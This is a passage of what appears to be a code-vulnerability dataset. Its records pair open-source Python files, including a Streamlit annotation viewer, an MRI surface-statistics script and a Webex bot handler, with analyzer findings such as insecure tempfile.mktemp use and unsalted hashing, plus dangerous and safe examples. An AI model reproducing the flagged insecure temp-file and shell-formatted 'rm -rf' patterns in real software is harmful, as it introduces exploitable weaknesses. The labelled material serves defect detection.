msg_type == 'info':\n msg_placeholder.info(f'{msg}:{msg_identifier}')\n elif msg_type == 'warn':\n msg_placeholder.warning(f'{msg}:{msg_identifier}')\n elif msg_type == 'error':\n msg_placeholder.error(f'{msg}:{msg_identifier}')\n time.sleep(0.5)\n msg_placeholder.empty()\n\n@st.cache(suppress_st_warning=True)\ndef get_categories_color_dict(categories_json_data):\n send_runtime_msg(msg='Caching:Cache Miss', msg_identifier='categories_color_dict', msg_type='info', msg_ttl=1)\n _categories_color_dict = {}\n for category_ in categories_json_data:\n hex_clr = category_['color']\n rgb_clr = ImageColor.getcolor(hex_clr, \"RGB\")\n bgr_clr = rgb_clr[::-1]\n _rgb_clr = list(rgb_clr)\n _bgr_clr = list(bgr_clr)\n _rgb_clr.append(255)\n _bgr_clr.append(255)\n rgba_clr = tuple(_rgb_clr)\n bgra_clr = tuple(_bgr_clr)\n clr_format_dict = {'HEX':hex_clr,'RGB':rgb_clr,'BGR':bgr_clr,'RGBA':rgba_clr,'BGRA':bgra_clr}\n _categories_color_dict.update({category_['name']:clr_format_dict})\n return _categories_color_dict\n\n@st.cache(suppress_st_warning=True)\ndef get_file_json_data_info(_annotation_file):\n send_runtime_msg(msg='Cache Miss', msg_identifier='file_json_data_info', msg_type='info', msg_ttl=1)\n # with open(_annotation_file_name, 'r') as _annotation_file:\n # _annotation_file = json.load(_annotation_file) \n # _annotation_json_file_info = _annotation_file.name #_annotation_file.__dict__\n _annotation_json_file_data = json.load(_annotation_file)\n return _annotation_json_file_data#, _annotation_json_file_info\n\n@st.cache(suppress_st_warning=True)\ndef init_annotation_data(_annotation_json_file_data):\n send_runtime_msg(msg='Cache Miss', msg_identifier='init_annotation_data', msg_type='info', msg_ttl=1)\n _images_json_data = _annotation_json_file_data['images']\n _categories_json_data = _annotation_json_file_data['categories']\n _annotations_json_data = _annotation_json_file_data['annotations']\n return _images_json_data, _categories_json_data, _annotations_json_data\n\n@st.cache(suppress_st_warning=True)\ndef get_image_id_width_height(_images_json_data, _selected_image):\n send_runtime_msg(msg='Caching:Cache Miss', msg_identifier='image_id_width_height', msg_type='info', msg_ttl=1)\n id, width, height = [(im_dict['id'],im_dict['width'],im_dict['height']) for im_dict in _images_json_data if im_dict['file_name'] == _selected_image][0]\n return id, width, height\n\n# @st.cache(suppress_st_warning=True)\ndef get_id_poly_segmentation(annotations_json_data, selected_image_id, selected_categories, categories_id_name_dict):\n # send_runtime_msg(msg='Caching:Cache Miss', msg_identifier='id_poly_segmentation', msg_type='info', msg_ttl=1)\n annot_id_point_dict = {}\n for ant_dict in annotations_json_data:\n if ant_dict['image_id'] == selected_image_id: # to select img\n for cat in selected_categories:\n _id_name = categories_id_name_dict[ant_dict['category_id']]\n if _id_name == cat:\n sub_id = ant_dict['id']\n ant_dict_lst = ant_dict['segmentation']\n for seg_lst in ant_dict_lst:\n segment_data = seg_lst\n x_coords = list(map(int, segment_data[::2]))\n y_coords = list(map(int, segment_data[1::2]))\n poly_coord = list(zip(x_coords, y_coords))\n annot_id_point_dict.update({f'{_id_name}_{sub_id}_{ant_dict_lst.index(seg_lst)}':poly_coord})\n # pprint(annot_id_point_dict)\n return annot_id_point_dict\n\n@st.cache(suppress_st_warning=True)\ndef get_categories_name_list(annotations_json_data, categories_id_name_dict, selected_image_id, _selected_process):\n send_runtime_msg(msg='Caching:Cache Miss', msg_identifier='categories_name_list', msg_type='info', msg_ttl=1)\n seg_id_name_cat_id = {}\n for ant_dict in annotations_json_data:\n if ant_dict['image_id'] == selected_image_id:\n _cat_id = ant_dict['category_id']\n _id_name = categories_id_name_dict[_cat_id] \n seg_id_name_cat_id.update({_id_name:_cat_id}) #TODO {ant_dict['category_id']:'*'}\n seg_id_name_lst = list(seg_id_name_cat_id.keys())\n if _selected_process == \"Circulation\":\n remove_suggested_categories = [\"wall\"]\n suggested_default_list = list(set(seg_id_name_lst) - set(remove_suggested_categories))\n elif _selected_process == \"Connectivity\":\n suggested_default_list = [\"wall\", \"parapet\", \"window\", \"entry\"]\n else:\n suggested_default_list = seg_id_name_lst\n return seg_id_name_lst, suggested_default_list\n\n# @st.cache(suppress_st_warning=True)\ndef render_selected_segmentations(src_surface, png_surface,segmentations, region_type, categories_color_dict, _selected_process):\n # send_runtime_msg(msg='Caching:Cache Miss', msg_identifier='render_selected_segmentations', msg_type='info', msg_ttl=1)\n for seg_id,seg_points in segmentations.items(): \n _cat_clr_BGR = categories_color_dict[seg_id.split('_')[0]]['BGR'] \n _cat_clr_BGRA = categories_color_dict[seg_id.split('_')[0]]['BGRA'] \n if _selected_process == \"Circulation\":\n _cat_clr_BGR = (255,255,255)\n _cat_clr_BGRA = (255,255,255,255) \n if region_type == 'Fill':\n poly_img = cv2.fillPoly(src_surface, np.array([seg_points]), color=_cat_clr_BGR) #lineType=cv2.LINE_AA\n poly_png = cv2.fillPoly(png_surface, np.array([seg_points]), color=_cat_clr_BGRA) #lineType=cv2.LINE_AA\n else:# region_type == 'Lines':\n poly_img = cv2.polylines(src_surface, np.array([seg_points]), True, _cat_clr_BGR, 1) #lineType=cv2.LINE_AA\n poly_png = cv2.polylines(png_surface, np.array([seg_points]), True, color=_cat_clr_BGRA) #lineType=cv2.LINE_AA)\n return poly_img, poly_png\n\ndef export_image(src_surface, png_surface, export_image_format, export_file_name, export_image_width, export_image_height, resize_export=False):\n if export_image_format == 'png': \n _export_image = png_surface\n elif export_image_format == 'jpeg':\n _export_image = src_surface\n if resize_export:\n _export_image = cv2.resize(_export_image, (export_image_width, export_image_height)) \n cv2.imwrite(export_file_name, _export_image)\n return True\n\n@st.cache(suppress_st_warning=True)\ndef get_coco_json_file_data(annot_file, annot_dir, annot_clr, annot_export):\n send_runtime_msg(msg='Caching:Cache Miss', msg_identifier='coco_json_file_data', msg_type='info', msg_ttl=1)\n if annotation_file:\n coco_json_file_data = get_file_json_data_info(annotation_file)\n elif annotated_image_dir != \"Select_Folder\":\n coco_json_file_data = coco_json.generate_coco(image_dir=annotated_image_dir, color_code=annot_clr, export_json=annot_export)\n return coco_json_file_data\n\ndef main(): #TODO split in to stage by stage functions and call def init_front_end_routine()\n \n if not annotation_file == None or annotated_image_dir != \"Select_Folder\":\n annotation_json_file_data = get_coco_json_file_data(annot_file=annotation_file, annot_dir=annotated_image_dir, annot_clr=COLOR_CODE_RGB_JSON, annot_export=False) \n\n images_json_data, categories_json_data, annotations_json_data = init_annotation_data(annotation_json_file_data)\n categories_color_dict = get_categories_color_dict(categories_json_data)\n\n images_name = [img_name['file_name'] for img_name in images_json_data]\n selected_image = st.sidebar.selectbox(\"Select Plan\", images_name, index=0)\n selected_image_id, selected_image_width, selected_image_height = get_image_id_width_height(images_json_data, selected_image)\n # st.write(f'selected : {selected_image} | Size : {selected_image_width} x {selected_image_height}')\n\n with st.sidebar.form(key=\"Processes\"):\n selected_process = st.radio(\"Process\",(\"Visualize\",'Circulation','Connectivity')) #TODO 'Heatmap',\n st.form_submit_button(label=\"Select\")\n\n with st.sidebar.form(key=\"Reg_Label_Bg\"):\n clm_region, clm_label, clm_bg_clr, clm_st_im_fmt = st.beta_columns(4)\n with clm_region:\n draw_region = st.radio(\"Regions\", ('Fill','Lines'))\n with clm_label:\n show_label = st.radio(\"Tag/Label\", ('Yes','No'))\n with clm_bg_clr:\n bg_clr = st.radio(\"Background\", ('Black','White'))\n with clm_st_im_fmt:\n st_im_fmt = st.radio(\"Format\", (\"BGR\", \"RGB\"))\n\n st.form_submit_button(label='Update') \n\n if selected_process == 'Connectivity':\n with st.sidebar.beta_expander(label='Marker Settings', expanded=False):\n with st.form(key=\"marker_setting\"):\n _marker, _marker_color = st.beta_columns([4,1])\n with _marker:\n selected_mrkr_asset = st.selectbox(label='Asset', options=['line','dot'], index=1)\n with _marker_color:\n st.text('')\n asset_mrkr_clr = st.color_picker(label='Pick', value='#1b56c1')\n st.form_submit_button(label=\"Select\")\n\n #TODO add this section in to cache def\n categories_id_name_dict = {category_['id']:category_['name'] for category_ in categories_json_data}\n categories_name_list, default_categories_name_list = get_categories_name_list(annotations_json_data, categories_id_name_dict, selected_image_id, selected_process)\n selected_categories = st.multiselect(label='Select tag to view annotation', options=categories_name_list, default=default_categories_name_list)\n\n if len(selected_categories):\n png_img = np.zeros((selected_image_height, selected_image_width, 4))\n src_img = np.zeros((selected_image_height, selected_image_width, 3), np.uint8)\n\n if bg_clr == 'White':\n src_img[:] = (255,255,255)\n \n annot_id_point_dict = get_id_poly_segmentation(annotations_json_data, selected_image_id, selected_categories, categories_id_name_dict)\n poly_surface, png_surface = render_selected_segmentations(src_img, png_img, annot_id_point_dict, draw_region, categories_color_dict, selected_process)\n main_surface = poly_surface\n\n if selected_process == 'Circulation':\n\n img_closed = png_surface\n im_background = poly_surface\n\n skel_graph, skel_image = circ_skeleton.get_skeleton(img_closed, im_background)\n polar_plt, unique_angles, cumulative_sum = circ_skeleton.get_orientation_graph(skel_graph, skel_image) \n\n main_surface = skel_image\n\n if selected_process == 'Connectivity':\n with open(\"temp_assets\\_connectivity.json\", \"w\") as outfile: \n json.dump(annot_id_point_dict, outfile)\n\n st.image(image=main_surface, caption=' ------- [ Visulization ] ------- ', channels=st_im_fmt)\n\n if selected_process == 'Circulation':\n st.write('polar plote ----')\n st.pyplot(image=polar_plt, caption=' ------- [ Polar Plot ] ------- ')\n \n with st.sidebar.beta_expander(label='Export Settings'):\n with st.form(key=\"Export_settings\"):\n resize_export = False\n export_complete = False\n export_image_width = st.number_input(label='Width', min_value=100, max_value=int(selected_image_width), value=int(selected_image_width))\n export_image_height = st.number_input(label='Height', min_value=100, max_value=int(selected_image_height), value=int(selected_image_height)) \n export_image_format = st.selectbox(label='Export image as', options=['png','jpeg'], index=1)\n export_file_name = f'assets\\{selected_image.split(\".\")[0]}_{export_image_width}_{export_image_height}.{export_image_format}'\n if selected_image_width != export_image_width or selected_image_height != export_image_height:\n resize_export = True\n export_complete = export_image(main_surface, png_surface, export_image_format, export_file_name, export_image_width, export_image_height, resize_export)\n if export_complete:\n placeholder = st.empty()\n placeholder.info('export complete')\n time.sleep(1)\n placeholder.info(f'{export_file_name}')\n time.sleep(1)\n placeholder.empty()\n # EXPORT_FLAG = True\n st.form_submit_button(label=\"Export\")\n \n with st.sidebar.beta_expander(label='Experimental'):\n _tmp_w, _tmp_h = st.beta_columns(2)\n with _tmp_w:\n st.text_input(label=f'Width (Max:{selected_image_width})', value=f'{export_image_width}', max_chars=len(str(selected_image_width)))\n with _tmp_h:\n st.text_input(label=f'Height (Max:{selected_image_height})', value=f'{export_image_height}', max_chars=len(str(selected_image_height)))\n _tmp_f, _tmp_b = st.beta_columns([2,1])\n with _tmp_f:\n st.selectbox(label='frmt', options=['png','jpg'])\n with _tmp_b:\n st.markdown('')\n st.text('')\n st.button(label='Export_')\n\n with st.beta_expander(label='App Active Dictionary', expanded=False): \n try:\n temp_info = {\n \"file name\":selected_image,\n \"file width\":selected_image_width,\n \"file height\":selected_image_height,\n \"Current Process\":selected_process, \n \"Region\":draw_region, \n \"Show Label\":show_label, \n \"Background\":bg_clr,\n \"selected_categories\":selected_categories\n }\n if EXPORT_FLAG:\n temp_info.update({\"Export\":{\n \"width\":export_image_width, \n \"height\":export_image_height, \n \"format\":export_image_format}})\n except Exception as e:\n temp_info = f\"Exception : {e}\"\n st.write(temp_info)\n \n else:\n st.info(\"To continue please :arrow_down:\")\n st.info(\"Navigate to SideBar :arrow_forward: Import Annotation File :arrow_forward: Drag and drop | Browse files :arrow_forward: Click Import\")\n st.markdown(\"OR\")\n st.info(\"Navigate to SideBar :arrow_forward: Select Folder from Drop Down :arrow_forward: Click Import\") \n\nif __name__ == \"__main__\":\n main()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 230, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "230"}}, {"lineNo": 231, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "f97d709b677c6f5f080eb1b347b843acec3c26a4e59fc59d847a376e3671f1b6", "license": {"spdx": ["BSD-4-Clause"], "repo": "shanqing-cai/MRI_analysis", "path": "aparc12_surface_stats.py", "repo_head_hexsha": "39b3d48e2158623ffd9a8a6ea47d16a4a7b83cd9", "stack_hexsha": "880f00e67c01938aba9cd6a614f51a6920722b66", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 125, "entireCode": "#!/usr/bin/python\n\nimport os\nimport sys\nimport glob\nimport argparse\nimport tempfile\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\nimport scipy.stats as stats\nfrom copy import deepcopy\nfrom subprocess import Popen, PIPE\n\nfrom get_qdec_info import get_qdec_info\nfrom fs_load_stats import fs_load_stats\nfrom aparc12 import *\nfrom scai_utils import *\nfrom scai_stats import cohens_d\n\nBASE_DIR = \"/users/cais/STUT/analysis/aparc12_tracts\"\nDATA_DIR = \"/users/cais/STUT/DATA\"\nFSDATA_DIR = \"/users/cais/STUT/FSDATA\"\nCTAB = \"/users/cais/STUT/slaparc_550.ctab\"\n\nSEGSTATS_SUM_WC = \"aparc12_wm%dmm.segstats.txt\"\n\nP_THRESH_UNC = 0.05\n\nhemis = [\"lh\", \"rh\"]\ngrps = [\"PFS\", \"PWS\"]\ngrpColors = {\"PFS\": [0, 0, 0], \"PWS\": [1, 0, 0]}\n\nif __name__ == \"__main__\":\n ap = argparse.ArgumentParser(description=\"Analyze aparc12 surface annotation: Surface area and average thickness\")\n ap.add_argument(\"-r\", dest=\"bReload\", action=\"store_true\", \\\n help=\"Reload data (time-consuming)\")\n # ap.add_argument(\"hemi\", help=\"Hemisphere {lh, rh}\")\n \n # if len(sys.argv) == 1:\n # ap.print_help()\n # sys.exit(0)\n\n # === Args input arguments === #\n args = ap.parse_args()\n bReload = args.bReload\n # hemi = args.hemi\n # assert(hemis.count(hemi) == 1)\n\n # === Determine the subject list and their group memberships === #\n check_dir(BASE_DIR)\n ds = glob.glob(os.path.join(BASE_DIR, \"S??\"))\n ds.sort()\n\n sIDs = []\n isPWS = []\n SSI4 = []\n for (i0, t_path) in enumerate(ds):\n (t_path_0, t_sID) = os.path.split(t_path)\n sIDs.append(t_sID)\n SSI4.append(get_qdec_info(t_sID, \"SSI\"))\n\n if get_qdec_info(t_sID, \"diagnosis\") == \"PWS\":\n isPWS.append(1)\n else:\n isPWS.append(0)\n \n isPWS = np.array(isPWS)\n SSI4 = np.array(SSI4)\n\n assert(len(sIDs) > 0)\n assert(len(sIDs) == len(isPWS))\n\n # === Get the list of cortical ROIs (Speech network only) ===\n rois0 = get_aparc12_cort_rois(bSpeech=True)\n\n check_file(CTAB)\n (ctab_roi_nums, ctab_roi_names) = read_ctab(CTAB)\n\n # Duplex into both hemispheres\n roi_names = []\n roi_nums = []\n\n for (i0, hemi) in enumerate(hemis):\n for (i1, roi) in enumerate(rois0):\n t_roi_name = \"%s_%s\" % (hemi, roi)\n \n assert(ctab_roi_names.count(t_roi_name) == 1)\n \n idx = ctab_roi_names.index(t_roi_name)\n roi_names.append(t_roi_name)\n roi_nums.append(ctab_roi_nums[idx])\n\n assert(len(roi_names) == len(roi_nums))\n \n # === Load data: Loop through all subjects === #\n cachePklFN = \"aparc12_surface_stats_dset.pkl\"\n\n nROIs = len(roi_names)\n ns = len(sIDs)\n\n\n if bReload:\n print(\"INFO: bReload = True: Reloading data (time-consuming)\\n\")\n\n labArea = np.zeros([ns, nROIs])\n labAvgThick = np.zeros([ns, nROIs])\n # Label area normalized by hemisphere surface area\n labAreaNorm = np.zeros([ns, nROIs])\n\n for (i0, sID) in enumerate(sIDs):\n t_rois = []\n t_roi_nums = []\n t_area = []\n t_area_norm = []\n t_thick = []\n\n for (i1, hemi) in enumerate(hemis):\n # == Load hemisphere total surface area == #\n hemiStatsFN = os.path.join(FSDATA_DIR, sID, \\\n \"stats\", \"%s.aparc.stats\" % hemi)\n check_file(hemiStatsFN)\n t_hemiSurfArea = fs_load_stats(hemiStatsFN, \"SurfArea\")\n\n tmpfn = tempfile.mktemp()\n\n hthick = os.path.join(FSDATA_DIR, sID, \"surf\", \\\n \"%s.thickness\" % hemi)\n check_file(hthick)\n\n print(\"Loading data from subject %s, hemisphere %s\" \\\n % (sID, hemi))\n \n (sout, serr) = Popen([\"mri_segstats\", \"--annot\", \\\n sID, hemi, \"aparc12\", \\\n \"--in\", hthick, \\\n \"--sum\", tmpfn], \\\n stdout=PIPE, stderr=PIPE).communicate()\n\n sout = read_text_file(tmpfn)\n os.system(\"rm -rf %s\" % tmpfn)\n\n k0 = 0\n while (sout[k0].startswith(\"# \")):\n k0 = k0 + 1\n \n sout = sout[k0 :]\n\n for tline in sout:\n if len(tline) == 0:\n break;\n \n t_items = remove_empty_strings(\\\n tline.replace('\\t', ' ').split(' '))\n\n if len(t_items) == 10:\n t_rois.append(hemi + \"_\" + t_items[4])\n \n if hemi == \"lh\":\n t_roi_nums.append(1000 + int(t_items[1]))\n else:\n t_roi_nums.append(2000 + int(t_items[1]))\n\n t_area.append(float(t_items[3]))\n t_area_norm.append(float(t_items[3]) / t_hemiSurfArea)\n t_thick.append(float(t_items[5]))\n\n # == Matching and filling values == #\n for (i2, t_rn) in enumerate(roi_nums):\n if t_roi_nums.count(t_rn) > 0:\n idx = t_roi_nums.index(t_rn)\n labArea[i0][i2] = t_area[idx]\n labAreaNorm[i0][i2] = t_area_norm[idx]\n labAvgThick[i0][i2] = t_thick[idx]\n\n # === Save to pkl file === # \n dset = {\"labArea\": labArea, \\\n \"labAreaNorm\": labAreaNorm, \\\n \"labAvgThick\": labAvgThick}\n\n os.system(\"rm -rf %s\" % cachePklFN)\n cachePklF = open(cachePklFN, \"wb\")\n pickle.dump(dset, cachePklF)\n cachePklF.close()\n check_file(cachePklFN)\n\n print(\"INFO: Saved loaded data to file: %s\\n\" % os.path.abspath(cachePklFN))\n else:\n print(\"INFO: Loading saved data from file: %s\\n\" % os.path.abspath(cachePklFN))\n\n cachePklF = open(cachePklFN, \"rb\")\n dset = pickle.load(cachePklF)\n cachePklF.close()\n\n labArea = dset[\"labArea\"]\n labAreaNorm = dset[\"labAreaNorm\"]\n labAvgThick = dset[\"labAvgThick\"]\n\n # === Check data validity === #\n assert(len(labArea) == ns)\n assert(len(labAreaNorm) == ns)\n assert(len(labAvgThick) == ns)\n\n # === Statistical comparison === #\n mean_area = {}\n std_area = {}\n nsg = {}\n\n for (i0, grp) in enumerate(grps):\n nsg[grp] = len(np.nonzero(isPWS == i0))\n\n mean_area[grp] = np.mean(labArea[isPWS == i0], axis=0)\n # std_area[grp] = np.std(labArea[isPWS == i0], axis=0) / np.sqrt(nsg[grp])\n std_area[grp] = np.std(labArea[isPWS == i0], axis=0)\n\n cmprItems = [\"labArea\", \"labAreaNorm\", \"labAvgThick\"]\n for (h0, cmprItem) in enumerate(cmprItems):\n print(\"--- List of significant differences in %s (p < %f uncorrected) ---\" \\\n % (cmprItem, P_THRESH_UNC))\n p_tt_val = np.zeros([nROIs])\n t_tt_val = np.zeros([nROIs])\n\n for (i0, t_roi) in enumerate(roi_names):\n if h0 == 0:\n dat_PWS = labArea[isPWS == 1, i0]\n dat_PFS = labArea[isPWS == 0, i0]\n elif h0 == 1:\n dat_PWS = labAreaNorm[isPWS == 1, i0]\n dat_PFS = labAreaNorm[isPWS == 0, i0]\n elif h0 == 2:\n dat_PWS = labAvgThick[isPWS == 1, i0]\n dat_PFS = labAvgThick[isPWS == 0, i0]\n \n (t_tt, p_tt) = stats.ttest_ind(dat_PWS, dat_PFS)\n \n p_tt_val[i0] = p_tt\n t_tt_val[i0] = t_tt\n\n if p_tt_val[i0] < P_THRESH_UNC:\n if t_tt_val[i0] < 0:\n dirString = \"PWS < PFS\"\n else:\n dirString = \"PWS > PFS\" \n print(\"%s: p = %f; t = %f (%s)\" \\\n % (t_roi, p_tt_val[i0], t_tt_val[i0], dirString))\n\n print(\"\\tMean +/- SD: PWS: %.5f +/- %.5f; PFS: %.5f +/- %.5f\" \\\n % (np.mean(dat_PWS), np.std(dat_PWS), \\\n np.mean(dat_PFS), np.std(dat_PFS)))\n print(\"\\tCohens_d = %.3f\" % cohens_d(dat_PWS, dat_PFS))\n \n print(\"\\n\")\n \n\n # === Spearman correlation === #\n for (h0, cmprItem) in enumerate(cmprItems):\n print(\"--- Spearman correlations with SSI4 in %s (p < %f uncorrected) ---\" \\\n % (cmprItem, P_THRESH_UNC))\n p_spc_val = np.zeros([nROIs])\n rho_spc_val = np.zeros([nROIs])\n\n for (i0, t_roi) in enumerate(roi_names):\n if h0 == 0:\n (r_spc, p_spc) = stats.spearmanr(SSI4[isPWS == 1], \\\n labArea[isPWS == 1, i0])\n elif h0 == 1:\n (r_spc, p_spc) = stats.spearmanr(SSI4[isPWS == 1], \\\n labAreaNorm[isPWS == 1, i0])\n elif h0 == 2:\n (r_spc, p_spc) = stats.spearmanr(SSI4[isPWS == 1], \\\n labAvgThick[isPWS == 1, i0])\n \n p_spc_val[i0] = p_spc\n rho_spc_val[i0] = r_spc\n\n if p_spc_val[i0] < P_THRESH_UNC:\n if rho_spc_val[i0] < 0:\n dirString = \"-\"\n else:\n dirString = \"+\"\n\n print(\"%s: p = %f; rho = %f (%s)\" \\\n % (t_roi, p_spc_val[i0], rho_spc_val[i0], dirString))\n \n print(\"\\n\")\n\n # === Compare combined dIFo and vIFo === #\n lh_IFo_area = {}\n lh_IFo_areaNorm = {}\n for (i0, grp) in enumerate(grps):\n lh_IFo_area[grp] = labArea[isPWS == i0, roi_names.index(\"lh_vIFo\")] + \\\n labArea[isPWS == i0, roi_names.index(\"lh_dIFo\")]\n lh_IFo_areaNorm[grp] = labAreaNorm[isPWS == i0, roi_names.index(\"lh_vIFo\")] + \\\n labAreaNorm[isPWS == i0, roi_names.index(\"lh_dIFo\")]\n\n (t_tt, p_tt) = stats.ttest_ind(lh_IFo_area[\"PWS\"], \\\n lh_IFo_area[\"PFS\"])\n print(\"-- Comparing lh_IFo area: --\")\n print(\"\\tp = %f; t = %f\" % (p_tt, t_tt))\n print(\"\\tPWS: %.1f +/- %.1f; PFS: %.1f +/- %.1f\" \\\n % (np.mean(lh_IFo_area[\"PWS\"]), np.std(lh_IFo_area[\"PWS\"]), \\\n np.mean(lh_IFo_area[\"PFS\"]), np.std(lh_IFo_area[\"PFS\"])))\n print(\"\\n\")\n\n (t_tt, p_tt) = stats.ttest_ind(lh_IFo_areaNorm[\"PWS\"], \\\n lh_IFo_areaNorm[\"PFS\"])\n print(\"-- Comparing lh_IFo areaNorm: --\")\n print(\"\\tp = %f; t = %f\" % (p_tt, t_tt))\n print(\"\\tPWS: %.1e +/- %.1e; PFS: %.1e +/- %.1e\" \\\n % (np.mean(lh_IFo_areaNorm[\"PWS\"]), np.std(lh_IFo_areaNorm[\"PWS\"]), \\\n np.mean(lh_IFo_areaNorm[\"PFS\"]), np.std(lh_IFo_areaNorm[\"PFS\"])))\n \n\n # === Correlating combined IFo with SSI4 === #\n (r_spc, p_spc) = stats.spearmanr(SSI4[isPWS == 1], lh_IFo_area[\"PWS\"])\n print(\"-- Correlating SSI4 with lh_IFo area: --\")\n print(\"\\tp = %f; rho = %f\" % (p_spc, r_spc))\n print(\"\\n\")\n\n (r_spc, p_spc) = stats.spearmanr(SSI4[isPWS == 1], lh_IFo_areaNorm[\"PWS\"])\n print(\"-- Correlating SSI4 with lh_IFo areaNorm: --\")\n print(\"\\tp = %f; rho = %f\" % (p_spc, r_spc))\n print(\"\\n\")\n \n \n # === Visualiation === #\n \"\"\"\n for (i0, grp) in enumerate(grps):\n plt.errorbar(range(nROIs), mean_area[grp], yerr=std_area[grp], \\\n color=grpColors[grp])\n plt.xticks(range(nROIs), roi_names, rotation=90.0)\n plt.show()\n \"\"\"\n\n", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 103, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "103"}}, {"lineNo": 125, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badlib", "params": {"arg0": "tempfile.mktemp"}}]}} {"id": "317ecd97686bb4cad77bd299b6ec8e6781a83d58bf0250ec6e4df19e14677d48", "license": {"spdx": ["BSD-3-Clause"], "repo": "actingweb/armyknife", "path": "armyknife_src/on_aw.py", "repo_head_hexsha": "c3010be5b27c8db78bb12eb420980d4e8e92f692", "stack_hexsha": "42e872e21d33b55c3b8acaa33b2aba9125a8062f", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 222, "entireCode": "import json\nimport logging\nimport hashlib\nfrom actingweb import on_aw\nfrom armyknife_src import webexrequest\nfrom armyknife_src import webexbothandler\nfrom armyknife_src import webexmessagehandler\nfrom armyknife_src import fargate\n\nPROP_HIDE = [\n \"email\",\n \"oauthId\"\n]\n\nPROP_PROTECT = PROP_HIDE + [\n \"service_status\"\n]\n\n\nclass OnAWWebexTeams(on_aw.OnAWBase):\n\n def get_properties(self, path: list, data: dict) -> dict or None:\n \"\"\" Called on GET to properties for transformations to be done\n :param path: Target path requested\n :type path: list[str]\n :param data: Data retrieved from data store to be returned\n :type data: dict\n :return: The transformed data to return to requestor or None if 404 should be returned\n :rtype: dict or None\n \"\"\"\n if not path:\n for k, v in data.copy().items():\n if k in PROP_HIDE:\n del data[k]\n elif len(path) > 0 and path[0] in PROP_HIDE:\n return None\n return data\n\n def delete_properties(self, path: list, old: dict, new: dict) -> bool:\n \"\"\" Called on DELETE to properties\n :param path: Target path to be deleted\n :type path: list[str]\n :param old: Property value that will be deleted (or changed)\n :type old: dict\n :param new: Property value after path has been deleted\n :type new: dict\n :return: True if DELETE is allowed, False if 403 should be returned\n :rtype: bool\n \"\"\"\n if len(path) > 0 and path[0] in PROP_PROTECT:\n return False\n return True\n\n def put_properties(self, path: list, old: dict, new: dict) -> dict or None:\n \"\"\" Called on PUT to properties for transformations to be done before save\n :param path: Target path requested to be updated\n :type path: list[str]\n :param old: Old data from database\n :type old: dict\n :param new:\n :type new: New data from PUT request (after merge)\n :return: The dict that should be stored or None if 400 should be returned and nothing stored\n :rtype: dict or None\n \"\"\"\n if not path:\n return None\n elif len(path) > 0 and path[0] in PROP_PROTECT:\n return None\n return new\n\n def post_properties(self, prop: str, data: dict) -> dict or None:\n \"\"\" Called on POST to properties, once for each property\n :param prop: Property to be created\n :type prop: str\n :param data: The data to be stored in prop\n :type data: dict\n :return: The transformed data to store in prop or None if that property should be skipped and not stored\n :rtype: dict or None\n \"\"\"\n if not prop:\n return None\n elif prop in PROP_PROTECT:\n return None\n return data\n\n def delete_actor(self):\n \"\"\" Here we need to do additional cleanup when a user is deleted \"\"\"\n spark = webexrequest.WebexTeamsRequest(\n body=self.webobj.request.body,\n auth=self.auth,\n myself=self.myself,\n config=self.config)\n spark.store.clear_messages(email=spark.me.creator)\n trackers = spark.store.load_trackers()\n for tracker in trackers:\n spark.store.delete_tracker(tracker[\"email\"])\n firehose_id = spark.me.property.firehoseId\n if firehose_id:\n spark.link.unregister_webhook(firehose_id)\n spark.store.delete_rooms()\n spark.store.delete_pinned_messages()\n spark.store.delete_pinned_messages(comment=\"#/TOPOFMIND\")\n if '@actingweb.net' not in spark.me.creator and spark.me.creator != \"creator\" and \\\n spark.me.creator != \"trustee\":\n spark.link.post_admin_message(text='User just left: ' + spark.me.creator)\n return\n\n def www_paths(self, path=''):\n \"\"\" This method is called on the user's URL/www requests \"\"\"\n # spark = sparkrequest.WebexTeamsRequest(body=self.webobj.request.body,\n # auth=self.auth,\n # myself=self.myself,\n # config=self.config)\n if path == '' or not self.myself:\n logging.info('Got an on_www_paths without proper parameters.')\n return False\n if path == 'getattachment':\n self.webobj.response.template_values = {\n 'url': str(self.webobj.request.get('url')),\n 'filename': str(self.webobj.request.get('filename')),\n }\n return True\n return False\n \n def check_on_oauth_success(self, token=None):\n \"\"\" Before approving an OAuth request, we need to validate the identity \"\"\"\n\n spark = webexrequest.WebexTeamsRequest(\n body=self.webobj.request.body,\n auth=self.auth,\n myself=self.myself,\n config=self.config)\n me = spark.link.get_me()\n if not me:\n logging.debug(\"Not able to retrieve myself from Cisco Webex Teams!\")\n return False\n logging.debug(\"My identity:\" + me['id'])\n current_id = spark.me.property.oauthId\n if not current_id:\n if 'emails' not in me:\n spark.me.store.cookie_redirect = 